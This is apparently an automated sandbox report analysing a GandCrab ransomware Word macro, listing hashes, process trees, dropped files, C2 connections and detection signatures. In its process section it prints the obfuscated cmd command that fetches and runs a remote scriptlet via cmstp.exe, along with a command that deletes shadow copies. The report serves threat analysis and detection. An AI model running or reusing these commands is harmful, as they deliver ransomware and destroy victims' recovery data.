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File name:

macro.doc

Full analysis: https://app.any.run/tasks/647a48e9-abff-4bad-8c32-9b6cd4b989f1
Verdict: Malicious activity
Threats:

GandCrab is probably one of the most famous Ransomware. A Ransomware is a malware that asks the victim to pay money in order to restore access to encrypted files. If the user does not cooperate the files are forever lost.

Malware Trends Tracker     >>>
Analysis date: March 22, 2019, 13:29:08
OS: Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Tags:
macros
macros-on-open
trojan
squiblydoo
ransomware
gandcrab
Indicators:
MIME: application/msword
File info: Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.1, Code page: 1252, Author: Admin, Template: Normal, Last Saved By: Admin, Revision Number: 3, Name of Creating Application: Microsoft Office Word, Total Editing Time: 02:00, Create Time/Date: Thu Jan 31 14:52:00 2019, Last Saved Time/Date: Thu Mar 21 19:19:00 2019, Number of Pages: 1, Number of Words: 4, Number of Characters: 23, Security: 0
MD5:

6D70903794AB3CA05DD1B1B4F917204F

SHA1:

DBE96D823FB6C1B855020EA6676F27E9C13A0148

SHA256:

D383CEE6586F23BC1DCDD4D1E8638D58E795C0833111BCBD94AE1FB883AAE988

SSDEEP:

3072:B6pgFP6P77AjBNJx4WDgDBiTBEIGMqFWrdn2TXz+rOieOnewQKJk2iwHagf:B6pO+AnJ2Wsi9EI4EdGKOseZ6z

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    • SQUIBLYDOO was detected

      • cmstp.exe (PID: 2980)

    • Writes file to Word startup folder

      • 37526.exe (PID: 2520)

    • Application was dropped or rewritten from another process

      • 37526.exe (PID: 2520)

    • Actions looks like stealing of personal data

      • 37526.exe (PID: 2520)

    • Renames files like Ransomware

      • 37526.exe (PID: 2520)

    • Deletes shadow copies

      • cmd.exe (PID: 2876)

    • Changes settings of System certificates

      • 37526.exe (PID: 2520)

    • Dropped file may contain instructions of ransomware

      • 37526.exe (PID: 2520)

    • GANDCRAB detected

      • 37526.exe (PID: 2520)

    • Connects to CnC server

      • 37526.exe (PID: 2520)

  • SUSPICIOUS

    • Creates files in the user directory

      • cmd.exe (PID: 2632)
      • cmstp.exe (PID: 2980)
      • 37526.exe (PID: 2520)

    • Executable content was dropped or overwritten

      • cmstp.exe (PID: 2980)

    • Creates files in the program directory

      • 37526.exe (PID: 2520)

    • Starts CMD.EXE for commands execution

      • 37526.exe (PID: 2520)

    • Reads the cookies of Mozilla Firefox

      • 37526.exe (PID: 2520)

    • Adds / modifies Windows certificates

      • 37526.exe (PID: 2520)

  • INFO

    • Creates files in the user directory

      • WINWORD.EXE (PID: 1660)

    • Reads Microsoft Office registry keys

      • WINWORD.EXE (PID: 1660)

    • Dropped object may contain Bitcoin addresses

      • 37526.exe (PID: 2520)

    • Dropped object may contain TOR URL's

      • 37526.exe (PID: 2520)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.doc | Microsoft Word document (54.2)
.doc | Microsoft Word document (old ver.) (32.2)

EXIF

FlashPix

Title: -
Subject: -
Author: Admin
Keywords: -
Comments: -
Template: Normal
LastModifiedBy: Admin
RevisionNumber: 3
Software: Microsoft Office Word
TotalEditTime: 2.0 minutes
CreateDate: 2019:02:28 14:52:00
ModifyDate: 2019:03:21 19:19:00
Pages: 1
Words: 4
Characters: 23
Security: None
CodePage: Windows Latin 1 (Western European)
Company:
Lines: 1
Paragraphs: 1
CharCountWithSpaces: 26
AppVersion: 16
ScaleCrop: No
LinksUpToDate: No
SharedDoc: No
HyperlinksChanged: No
TitleOfParts: -
HeadingPairs:
  • Title
  • 1
CompObjUserTypeLen: 32
CompObjUserType: Microsoft Word 97-2003 Document
No data.
screenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
41
Monitored processes
7
Malicious processes
4
Suspicious processes
0

Behavior graph

Click at the process to see the details
start drop and start winword.exe no specs cmd.exe no specs #SQUIBLYDOO cmstp.exe #GANDCRAB 37526.exe cmd.exe vssadmin.exe no specs vssvc.exe no specs

Process information

PID
CMD
Path
Indicators
Parent process
1660"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\admin\AppData\Local\Temp\macro.doc"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE—explorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft Word
Exit code:
0
Version:
14.0.6024.1000
2632cmd /V /C set "u05=s" && !u05!et "u39=\" && !u05!et "u42=e" && !u05!et "u43=i" && !u05!et "u49=A" && !u05!et "u1=N" && !u05!et "u5=d" && c!u49!ll !u05!et "u6=%!u49!PP!u5!!u49!T!u49!%" && c!u49!ll !u05!et "u63=%R!u49!!u1!!u5!OM%" && !u05!et "u62=!u6!!u39!M!u43!cro!u05!oft!u39!T!u42!mplat!u42!s!u39!!u63!.txt" && !u05!et "u8="^" && (For %i in ("[v!u42!r!u05!ion]" "!u05!ignatur!u42!=$Wi!u1!dow!u05! NTf7f81a39-5f63-5b42-9efd-1f13b5431005quot; "[D!u42!faultIn!u05!tall_Singl!u42!U!u05!er]" "UnR!u42!gi!u05!t!u42!rOCXs=u66" "[u66]" "%11%\%u0_1%%u0_2%%u0_3%,NI,%u_1%%u_2%%u_3%%u_4%%u_5%%u_6%%u_7%%u_8%%u_9%%u_10%%u_11%%u_12%%u_13%%u_14%" "[!u05!tring!u05!]" "u_1=ht" "u_2=tp" "u_3=:/" "u_4=/1" "u_5=34" "u_6=.2" "u_7=09" "u_8=.8" "u_9=8." "u_10=23" "u_11=/s" "u_12=ub" "u_13=.t" "u_14=xt" "u0_2=rO" "u0_1=sC" "u0_3=bJ" ) do @echo %~i)>"!u62!" && echo !u05!erv!u43!ceNam!u42!=!u8! !u8!>>!u62! && echo !u05!hortSvcN!u49!me=!u8! !u8!>>!u62! && c!u49!ll !u05!et "u25=%WI!u1!!u5!IR%" && !u05!t!u49!rt "" !u25!!u39!Sy!u05!t!u42!m32!u39!cm!u05!tp.!u42!x!u42! /s /ns "!u62!"C:\Windows\system32\cmd.exe—wmiprvse.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
0
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
2980C:\Windows\System32\cmstp.exe /s /ns "C:\Users\admin\AppData\Roaming\Microsoft\Templates\8367.txt"C:\Windows\System32\cmstp.exe
cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft Connection Manager Profile Installer
Exit code:
0
Version:
7.02.7600.16385 (win7_rtm.090713-1255)
2520"C:\Users\admin\AppData\Roaming\Microsoft\37526.exe" C:\Users\admin\AppData\Roaming\Microsoft\37526.exe
cmstp.exe
User:
admin
Integrity Level:
MEDIUM
2876"C:\Windows\system32\cmd.exe" /c vssadmin delete shadows /all /quietC:\Windows\system32\cmd.exe
37526.exe
User:
SYSTEM
Company:
Microsoft Corporation
Integrity Level:
SYSTEM
Description:
Windows Command Processor
Exit code:
0
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
604vssadmin delete shadows /all /quietC:\Windows\system32\vssadmin.exe—cmd.exe
User:
SYSTEM
Company:
Microsoft Corporation
Integrity Level:
SYSTEM
Description:
Command Line Interface for Microsoft® Volume Shadow Copy Service
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
3848C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe—services.exe
User:
SYSTEM
Company:
Microsoft Corporation
Integrity Level:
SYSTEM
Description:
Microsoft® Volume Shadow Copy Service
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Total events
1 578
Read events
1 176
Write events
0
Delete events
0

Modification events

No data
Executable files
1
Suspicious files
422
Text files
324
Unknown types
11

Dropped files

PID
Process
Filename
Type
1660WINWORD.EXEC:\Users\admin\AppData\Local\Temp\CVR9ED7.tmp.cvr —
MD5:—
SHA256:—
1660WINWORD.EXEC:\Users\admin\AppData\Local\Temp\~DF50D2019110B775A8.TMP —
MD5:—
SHA256:—
1660WINWORD.EXEC:\Users\admin\AppData\Roaming\Microsoft\Templates\~$Normal.dotmpgc
MD5:A3D37A96BE99E1B37F142EAB31105E77
SHA256:10776DED098C89C43628A733533878C3854AA3666210F1501E5D0D74311EF8F0
1660WINWORD.EXEC:\Users\admin\AppData\Local\Temp\Word8.0\SystemMonitor.exdtlb
MD5:41EB91E251FD037EF4FC23EB9DFB95DC
SHA256:9768773AD1BF14E11C68C57122DA1D94E411A75EB85890B11A3DEA79F0B6C988
252037526.exeC:\Recovery\345b46fe-a9f9-11e7-a83c-e8a4f72b1d33\boot.sdi —
MD5:—
SHA256:—
1660WINWORD.EXEC:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\78B0F061.wmfwmf
MD5:9B958D431B80584579043950B6329CC2
SHA256:0C014D127F39FDEEDFA2229D89442011E65B0B09A38F748231D64FCE5E29224E
2980cmstp.exeC:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\H6QNMHE9\sub[1].txtxml
MD5:35E0074B26434734B8C87DE20DAE3AD6
SHA256:640EE8EC46C660C9D1784AAC3EB73FEA64586416B6935251638E319CC5E72D87
252037526.exeC:\$Recycle.Bin\S-1-5-21-1302019708-1500728564-335382590-1000\NPQUHQ-MANUAL.txttext
MD5:23F160AB49E70E35625910E990CC1C80
SHA256:CC7DF6369AC7F94FC01DD4312C67633CE0392712EDF8522DC2BD06935DB1BAEF
252037526.exeC:\Recovery\345b46fe-a9f9-11e7-a83c-e8a4f72b1d33\Winre.wim.npquhq —
MD5:—
SHA256:—
1660WINWORD.EXEC:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRF{E8515BBF-40B3-419D-9AFC-8BC98B470599}.tmpbinary
MD5:DC38ED319823A1E8728BE0D3903A6B31
SHA256:5BAC3C831A5FFE3881CE6F31A7B013C87335B781FB69E5EDA46BE3C49CBE0348
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
2
TCP/UDP connections
3
DNS requests
1
Threats
0

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
2980
cmstp.exe
GET
200
134.209.88.23:80
http://134.209.88.23/sub.txt
US
xml
259 Kb
malicious
2520
37526.exe
GET
301
107.173.49.208:80
http://www.kakaocorp.link/
US
html
162 b
malicious
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
2520
37526.exe
107.173.49.208:80
www.kakaocorp.link
ColoCrossing
US
malicious
2980
cmstp.exe
134.209.88.23:80
—
—
US
malicious
2520
37526.exe
107.173.49.208:443
www.kakaocorp.link
ColoCrossing
US
malicious

DNS requests

Domain
IP
Reputation
www.kakaocorp.link
  • 107.173.49.208
malicious

Threats

PID
Process
Class
Message
2980
cmstp.exe
A Network Trojan was detected
MALWARE [PTsecurity] Squiblydoo Scriptlet
2520
37526.exe
A Network Trojan was detected
MALWARE [PTsecurity] Blacklisted GandCrab Ransomware C2 Server
2520
37526.exe
A Network Trojan was detected
MALWARE [PTsecurity] Blacklisted GandCrab Ransomware C2 Server
2520
37526.exe
A Network Trojan was detected
MALWARE [PTsecurity] GandCrab v.5 SSL Connection
3 ETPRO signatures available at the full report
No debug info
Interactive malware hunting service ANY.RUN
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Reports
macro.doc